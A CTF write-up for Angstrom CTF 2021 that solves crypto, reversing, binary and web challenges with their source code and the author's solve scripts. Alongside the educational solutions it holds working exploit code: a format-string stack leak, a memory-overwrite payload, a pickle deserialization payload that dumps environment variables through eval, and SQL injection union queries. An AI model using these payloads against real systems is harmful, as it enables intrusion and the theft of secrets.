# Angstrom CTF 2021 Notes about this CTF will be super brief since there's so many challenges and I don't have the patience to writeup all of them. If you really have trouble understanding though, I promise to work with you at luconfident#3198 on Discord as long as you contact me before May 2021 ## Crypto Problems ![](https://i.imgur.com/IQpz3LS.png) We are given all the variables, n, p, q, e, and c in RSA. So decrypting the message is straightforward. ![](https://i.imgur.com/x7jJG0Q.png) ![](https://i.imgur.com/h0cicib.png) **sol.py** ```sol.py cipher = bytes.fromhex("ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c") for i in range(len(cipher) - 5): key = b"".join(bytes([x ^ y]) for x, y in zip(cipher[i: i+5], b"actf{")) j = i%5 if i % 5 != 0: key = key[-j%5: 5] + key[: -j%5] plain = b"" for j, c in enumerate(cipher): plain += bytes([c ^ key[j % 5]]) print(plain) ``` ![](https://i.imgur.com/kXB4x9y.png) **chall.py** ```chall.py import string with open("key.txt", "r") as f: shift = int(f.readline()) key = f.readline() with open("flag.txt", "r") as f: flag = f.read() stdalph = string.ascii_lowercase rkey = "" for i in key: if i not in rkey: rkey += i for i in stdalph: if i not in rkey: rkey += i rkey = rkey[-shift:] + rkey[:-shift] enc = "" for a in flag: if a in stdalph: enc += rkey[stdalph.index(a)] else: enc += a print(enc) ``` Solved with https://www.boxentriq.com/code-breaking/cryptogram ![](https://i.imgur.com/Qd85wTy.png) Solved when applying Wiener's attack because $e$ is so large which implies $d$ is small. ![](https://i.imgur.com/CGm5qAy.png) **chall.py** ```chall.py #!/usr/bin/python import binascii from random import choice class Cipher: BLOCK_SIZE = 16 ROUNDS = 3 def __init__(self, key): assert(len(key) == self.BLOCK_SIZE*self.ROUNDS) self.key = key def __block_encrypt(self, block): enc = int.from_bytes(block, "big") for i in range(self.ROUNDS): k = int.from_bytes(self.key[i*self.BLOCK_SIZE:(i+1)*self.BLOCK_SIZE], "big") enc &= k enc ^= k return hex(enc)[2:].rjust(self.BLOCK_SIZE*2, "0") def __pad(self, msg): if len(msg) % self.BLOCK_SIZE != 0: return msg + (bytes([0]) * (self.BLOCK_SIZE - (len(msg) % self.BLOCK_SIZE))) else: return msg def encrypt(self, msg): m = self.__pad(msg) e = "" for i in range(0, len(m), self.BLOCK_SIZE): e += self.__block_encrypt(m[i:i+self.BLOCK_SIZE]) return e.encode() key = binascii.unhexlify("".join([choice(list("abcdef0123456789")) for a in range(Cipher.BLOCK_SIZE*Cipher.ROUNDS*2)])) with open("flag", "rb") as f: flag = f.read() cipher = Cipher(key) while True: a = input("Would you like to encrypt [1], or try encrypting [2]? ") if a == "1": p = input("What would you like to encrypt: ") try: print(cipher.encrypt(binascii.unhexlify(p)).decode()) except: print("Invalid input. ") elif a == "2": for i in range(10): p = "".join([choice(list("abcdef0123456789")) for a in range(64)]) print("Encrypt this:", p) e = cipher.encrypt(binascii.unhexlify(p)).decode() c = input() if e != c: print("L") print(e) print(c) print(bin(e)) print(bin(c)) exit() print("W") print(flag.decode()) elif a.lower() == "quit": print("Bye") exit() else: print("Invalid input. ") ``` **sol.py** ```sol.py print("0"*64) zero = int(str(input()), 16) print(zero) zero = bin(zero)[2:].zfill(256) print("f"*64) one = int(str(input()), 16) print(one) one = bin(one)[2:].zfill(256) for _ in range(10): p = int(str(input()), 16) c = "" p = bin(p)[2:].zfill(256) for i, b in enumerate(p): if b == "0": c += zero[i] else: c += one[i] print(hex(int(c, 2))) ``` ![](https://i.imgur.com/b0ivIIM.png) **source.py** ```source.py import os import zlib def keystream(): key = os.urandom(2) index = 0 while 1: index+=1 if index >= len(key): key += zlib.crc32(key).to_bytes(4,'big') yield key[index] ciphertext = [] with open("plain","rb") as f: plain = f.read() assert b"actf{" in plain k = keystream() for i in plain: ciphertext.append(i ^ next(k)) with open("enc","wb") as g: g.write(bytes(ciphertext)) ``` **sol.py** ```sol.py import os import zlib from Crypto.Util.number import * def keystream(a): key = long_to_bytes(a) index = 0 while 1: index+=1 if index >= len(key): key += zlib.crc32(key).to_bytes(4,'big') yield key[index] ciphertext = open("enc","rb").read() for i in range(65536): k = keystream(i) plaintext = b"" for c in ciphertext: plaintext += bytes([c ^ next(k)]) if not i: print(plaintext) if b"actf{" in plaintext: print(plaintext) ``` ![](https://i.imgur.com/rM7miVZ.png) **chall.py** ```chall.py import time import random import os class Generator(): DIGITS = 8 def __init__(self, seed): self.seed = seed assert(len(str(self.seed)) == self.DIGITS) def getNum(self): self.seed = int(str(self.seed**2).rjust(self.DIGITS*2, "0")[self.DIGITS//2:self.DIGITS + self.DIGITS//2]) return self.seed r1 = Generator(random.randint(10000000, 99999999)) r2 = Generator(random.randint(10000000, 99999999)) query_counter = 0 while True: query = input("Would you like to get a random output [r], or guess the next random number [g]? ") if query.lower() not in ["r", "g"]: print("Invalid input.") break else: if query.lower() == "r" and query_counter < 3: print(r1.getNum() * r2.getNum()) query_counter += 1; elif query_counter >= 3 and query.lower() == "r": print("You don't get more random numbers!") else: for i in range(2): guess = int(input("What is your guess to the next value generated? ")) if guess != r1.getNum() * r2.getNum(): print("Incorrect!") exit() with open("flag", "r") as f: fleg = f.read() print("Congrats! Here's your flag: ") print(fleg) exit() ``` **sol.sage** ```sol.sage n = int(input("first: ")) cand = [] n_div = list(divisors(n)) for div in n_div: pair = (div, n//div) if pair[0] >= 10**6 and pair[0] <= 10**9 and pair[1] >= 10**6 and pair[1] <= 10**9: if pair[::-1] not in cand: cand.append(pair) def transform(a): return int(str(a**2).rjust(16, "0")[4:12]) for i in range(len(cand)): cand[i] = (transform(cand[i][0]), transform(cand[i][1])) n = int(input("second: ")) print("n", n) for i, c in enumerate(cand): print(c[0] * c[1]) print(c[0] * c[1] == n) if c[0] * c[1] == n: cand[i] = (transform(cand[i][0]), transform(cand[i][1])) print(cand[i]) cand[i] = (transform(cand[i][0]), transform(cand[i][1])) print(cand[i]) ``` ![](https://i.imgur.com/M27ljjf.png) **gen.py** ```gen.py import random import secrets import math from decimal import Decimal, getcontext from Crypto.Cipher import AES BOUND = 2 ** 128 MULT = 10 ** 10 getcontext().prec = 50 def nums(a): b = Decimal(random.randint(-a * MULT, a * MULT)) / MULT c = (a ** 2 - b ** 2).sqrt() if random.randrange(2): c *= -1 return (b, c) with open("flag", "r") as f: flag = f.read().strip().encode("utf8") diff = len(flag) % 16 if diff: flag += b"\x00" * (16 - diff) keynum = secrets.randbits(128) ivnum = secrets.randbits(128) print("key=", keynum) print("iv=", ivnum) key = int.to_bytes(keynum, 16, "big") iv = int.to_bytes(ivnum, 16, "big") x = Decimal(random.randint(1, BOUND * MULT)) / MULT for _ in range(3): (a, b) = nums(x) print(f"({keynum + a}, {ivnum + b})") cipher = AES.new(key, AES.MODE_CBC, iv=iv) enc = cipher.encrypt(flag) print(enc.hex()) ``` **sol.sage** ```sol.sage from Crypto.Cipher import AES x1, y1 = (45702021340126875800050711292004769456.2582161398, 310206344424042763368205389299416142157.00357571144) x2, y2 = (55221733168602409780894163074078708423.359152279, 347884965613808962474866448418347671739.70270575362) x3, y3 = (14782966793385517905459300160069667177.5906950984, 340240003941651543345074540559426291101.69490484699) enc = bytes.fromhex("838371cd89ad72662eea41f79cb481c9bb5d6fa33a6808ce954441a2990261decadf3c62221d4df514841e18c0b47a76") M = Matrix([ [2*y1 - 2*y2, 2*x1 - 2*x2], [2*y1 - 2*y3, 2*x1 - 2*x3] ]) b = vector([ (y1^2-y2^2) - (x2^2-x1^2), (y1^2-y3^2) - (x3^2-x1^2) ]) ans = M.solve_right(b) iv = int(ans[0]) k = int(ans[1]) print("key =", k) print("iv =", iv) key = int.to_bytes(k, 16, "big") iv = int.to_bytes(iv, 16, "big") cipher = AES.new(key, AES.MODE_CBC, iv=iv) dec = cipher.decrypt(enc) print(dec) ``` ![](https://i.imgur.com/RJPSRmW.png) **chall.py** ```chall.py #!/usr/bin/python3 from functools import reduce with open("flag", "r") as f: key = [ord(x) for x in f.read().strip()] def substitute(value): return (reduce(lambda x, y: x*value+y, key))%691 print("Enter a number and it will be returned with our super secret synthetic substitution technique") while True: try: value = input("> ") if value == 'quit': quit() value = int(value) enc = substitute(value) print(">> ", end="") print(enc) except ValueError: print("Invalid input. ") ``` **sol.sage** ```sol.sage import os os.environ['TERM'] = 'linux' from pwn import * def get(n): global r r.sendline(str(n)) return int(r.recv(4096).replace(b'>> ', b'').replace(b'\n> ', b'').decode()) R = IntegerModRing(691) # r = process('./chall.py') r = remote("crypto.2021.chall.actf.co", "21601") r.recv(4096) rhs = [] for i in range(1, 150): rhs.append(get(i)) lhs = [] for j in range(1, i+1): lhs.append( [pow(j, k, 691) for k in range(i-1, -1, -1)] ) M = Matrix(R, lhs) b = vector(R, rhs) ans = M.solve_right(b) if ans[0] == 97 and ans[1] == 99: print("".join(chr(a) for a in ans)) break ``` ![](https://i.imgur.com/KzHu5ql.png) **server.py** ```server.py #!/usr/bin/python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad import os key = os.urandom(32) flag = open("flag","rb").read() while 1: try: i = bytes.fromhex(input("give input: ")) if not i: break except: break iv = os.urandom(16) inp = i.replace(b"{}", flag) if len(inp) % 16: inp = pad(inp, 16) print( AES.new(key, AES.MODE_CBC, iv=iv).decrypt(inp).hex() ) ``` **sol.py** ```sol.py from pwn import * from binascii import hexlify, unhexlify # r = process("./server.py") r = remote('crypto.2021.chall.actf.co', '21112') r.recv(4096) r.sendline(hexlify(b"{}").decode()) x = len(r.recvline().replace(b'give input: ', b'')) for i in range(1, 18): r.sendline("00" * i + hexlify(b"{}").decode()) if len(r.recvline().replace(b'give input: ', b'')) != x: offset = i - 1 break print('offset', offset) blocks = x // 32 print('blocks', blocks) r.sendline("00" * 32 + "00" * offset + hexlify(b"{}").decode() + "00" * 16) data = bytes.fromhex(r.recvline().replace(b'give input: ', b'').strip().decode()) r.recv(4096) last = xor(data[16:32], data[-16:]) r.sendline("00" * 16 + binascii.hexlify(last).decode() + "00" * offset + hexlify(b"{}").decode()) data = bytes.fromhex(r.recvline().replace(b'give input: ', b'').strip().decode()) second_last = xor(data[16:32], data[-16:]) print(second_last + last) ``` ## Misc Problems ![](https://i.imgur.com/Rcb11e8.png) We have a "corrupted" zip file that contains a file that has an attribute date < 1920. To view the contents of the file without unzipping it, I opened it in vim and pressed enter on the corresponding file name. ![](https://i.imgur.com/dcfh6B0.png) I used StegSolve. ![](https://i.imgur.com/arQEo2H.png) **float_on.c** ```float_on.c #include <stdio.h> #include <stdint.h> #include <string.h> #include <assert.h> #define DO_STAGE(num, cond) do {\ printf("Stage " #num ": ");\ scanf("%lu", &converter.uint);\ x = converter.dbl;\ if(cond) {\ puts("Stage " #num " passed!");\ } else {\ puts("Stage " #num " failed!");\ return num;\ }\ } while(0); void print_flag() { FILE* flagfile = fopen("flag.txt", "r"); if (flagfile == NULL) { puts("Couldn't find a flag file."); return; } char flag[128]; fgets(flag, 128, flagfile); flag[strcspn(flag, "\n")] = '\x00'; puts(flag); } union cast { uint64_t uint; double dbl; }; int main(void) { union cast converter; double x; DO_STAGE(1, x == -x); DO_STAGE(2, x != x); DO_STAGE(3, x + 1 == x && x * 2 == x); DO_STAGE(4, x + 1 == x && x * 2 != x); DO_STAGE(5, (1 + x) - 1 != 1 + (x - 1)); print_flag(); return 0; } ``` Lol, it is not possible for $x \neq x$. So I checked out the edge cases in [IEEE 754 Double precision float format](https://en.wikipedia.org/wiki/Double-precision_floating-point_format), such as how to form +/- infinity, max double, etc. ## Rev problems ![](https://i.imgur.com/9Piw2vf.png) Opened the problem in Ghidra, had it decompile the code for me; solved very easily after that. ![](https://i.imgur.com/Odf981a.png) Opened the problem in Ghidra, had it decompile the code. Viewed binary in a graph view, as the code contained a lot of if-else statements. Found an array of "acceptable" responses to the binary by setting breakpoints in gdb. Unfortunately they were not located in memory; they were dynamically generated by a function so I had to use gdb. However, gdb would interrupt in the midst of a read call; after typing a few `fin`'s, which would resume execution to the end of a function, I would be able to interrupt calls to `FUN0x...150`, replace rdi with whatever response we wanted, and trace responses to the flag execution path. ```sol.py from pwn import * #r = process('./jailbreak') r = remote('shell.actf.co', '21701') print(r.recv(4096)) r.sendline('pick the snake up') print(r.recv(4096)) r.sendline('throw the snake at kmh') print(r.recv(4096)) r.sendline('pry the bars open') print(r.recv(4096)) i = 0 for b in bin(1337)[3:]: r.sendline('look around') print(r.recv(4096)) if b == "0": r.sendline('press the red button') i *= 2 else: r.sendline('press the green button') i = i*2 + 1 print(r.recv(4096)) print(i) r.sendline('bananarama') r.interactive() ``` ## Binary problems I solved the first five challenges but I did the first three so quickly without writing any notes or code that I cannot find how I did them. If you try the entry sequences to pwnable.kr, you should find similar problems. Here's solutions to the last two. ![](https://i.imgur.com/V9o5tnt.png) This is a format string attack in which I printed pointers on the stack. ```sol.py from pwn import * from binascii import unhexlify d = b"" # https://www.tutorialspoint.com/format-specifiers-in-c for i in range(33, 43): r = remote('shell.actf.co', '21820') # r = process('./stickystacks') r.sendline(f'%{i}$p') d += unhexlify( r.recv(4096).replace(b'\n', b'').replace(b'Name: ', b'').replace(b'Welcome, ', b'') .replace(b'0x', b'').zfill(16) )[::-1] r.close() print(d) ``` ![](https://i.imgur.com/4xG6MCB.png) **challenge.cpp** ```challenge.cpp #include <iostream> #include <fstream> #include <string> using namespace std; ifstream flag("flag.txt"); struct character { int health; int skill; long tokens; string name; }; void play() { string action; character player; cout << "Enter your name: " << flush; getline(cin, player.name); cout << "Welcome, " << player.name << ". Skill level: " << player.skill << endl; while (true) { cout << "\n1. Power up" << endl; cout << "2. Fight for the flag" << endl; cout << "3. Exit game\n" << endl; cout << "What would you like to do? " << flush; cin >> action; cin.ignore(); if (action == "1") { cout << "Power up requires shadow tokens, available via in app purchase." << endl; } else if (action == "2") { if (player.skill < 1337) { cout << "You flail your arms wildly, but it is no match for the flag guardian. Raid failed." << endl; } else if (player.skill > 1337) { cout << "The flag guardian quickly succumbs to your overwhelming power. But the flag was destroyed in the frenzy!" << endl; } else { cout << "It's a tough battle, but you emerge victorious. The flag has been recovered successfully: " << flag.rdbuf() << endl; } } else if (action == "3") { return; } } } void terms_and_conditions() { string agreement; string signature; cout << "\nRAIId Shadow Legends is owned and operated by Working Group 21, Inc. "; cout << "As a subsidiary of the International Organization for Standardization, "; cout << "we reserve the right to standardize and/or destandardize any gameplay "; cout << "elements that are deemed fraudulent, unnecessary, beneficial to the "; cout << "player, or otherwise undesirable in our authoritarian society where "; cout << "social capital has been eradicated and money is the only source of "; cout << "power, legal or otherwise.\n" << endl; cout << "Do you agree to the terms and conditions? " << flush; cin >> agreement; cin.ignore(); while (agreement != "yes") { cout << "Do you agree to the terms and conditions? " << flush; cin >> agreement; cin.ignore(); } cout << "Sign here: " << flush; getline(cin, signature); } int main() { cout << "Welcome to RAIId Shadow Legends!" << endl; while (true) { cout << "\n1. Start game" << endl; cout << "2. Purchase shadow tokens\n" << endl; cout << "What would you like to do? " << flush; string action; cin >> action; cin.ignore(); if (action == "1") { terms_and_conditions(); play(); } else if (action == "2") { cout << "Please mail a check to RAIId Shadow Legends Headquarters, 1337 Leet Street, 31337." << endl; } } } ``` Viewing every single variable's memory location where I'm allowed input, I find that the agreement variable in terms_and_conditions can affect the player struct in the play function. **sol.py** ```sol.py from pwn import * # r = process('./raiid_shadow_legends') r = remote('shell.actf.co', '21300') r.recv(4096) r.sendline('1') r.recv(4096) r.sendline(b'\x00'*4 + b'\x39\x05\x00\x00') r.recv(4096) r.sendline('yes') r.recv(4096) r.interactive() ``` ## Web challenges ![](https://i.imgur.com/rqqhI6C.png) **server.py** ```server.py from flask import Flask, send_file, request, make_response, redirect import random import os app = Flask(__name__) import pickle import base64 flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}') @app.route('/pickle.jpg') def bg(): return send_file('pickle.jpg') @app.route('/') def jar(): contents = request.cookies.get('contents') if contents: items = pickle.loads(base64.b64decode(contents)) else: items = [] return '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">' + \ ''.join(f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items) @app.route('/add', methods=['POST']) def add(): contents = request.cookies.get('contents') if contents: items = pickle.loads(base64.b64decode(contents)) else: items = [] items.append(request.form['item']) response = make_response(redirect('/')) response.set_cookie('contents', base64.b64encode(pickle.dumps(items))) return response app.run(threaded=True, host="0.0.0.0") ``` This is a Pickle Deserialization vulnerability. We can leak all environmental variables with this sneaky call to eval. **sol.py** ```sol.py import pickle import base64 import os class RCE: def __reduce__(self): return eval, ("str(os.environ)", ) if __name__ == '__main__': pickled = pickle.dumps([RCE()]) print(base64.urlsafe_b64encode(pickled)) ``` ![](https://i.imgur.com/oxg1abD.png) **app.rb** ```app.rb require 'sinatra' require 'sqlite3' set :bind, "0.0.0.0" set :port, 4567 get '/' do db = SQLite3::Database.new "quills.db" @row = db.execute( "select * from quills" ) erb :index end get '/quills' do erb :quills end post '/quills' do db = SQLite3::Database.new "quills.db" cols = params[:cols] lim = params[:limit] off = params[:offset] blacklist = ["-", "/", ";", "'", "\""] blacklist.each { |word| if cols.include? word return "beep boop sqli detected!" end } if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off) return "bad, no quills for you!" end @row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off]) p @row erb :specific end ``` I got another table in the database via the SQL query `select group_concat(tbl_name) from sqlite_master union select name from company limit 1 offset 1;`, flagtable. Finally I used `select * from flagtable union select url from company limit 1 offset 1` to get the flag.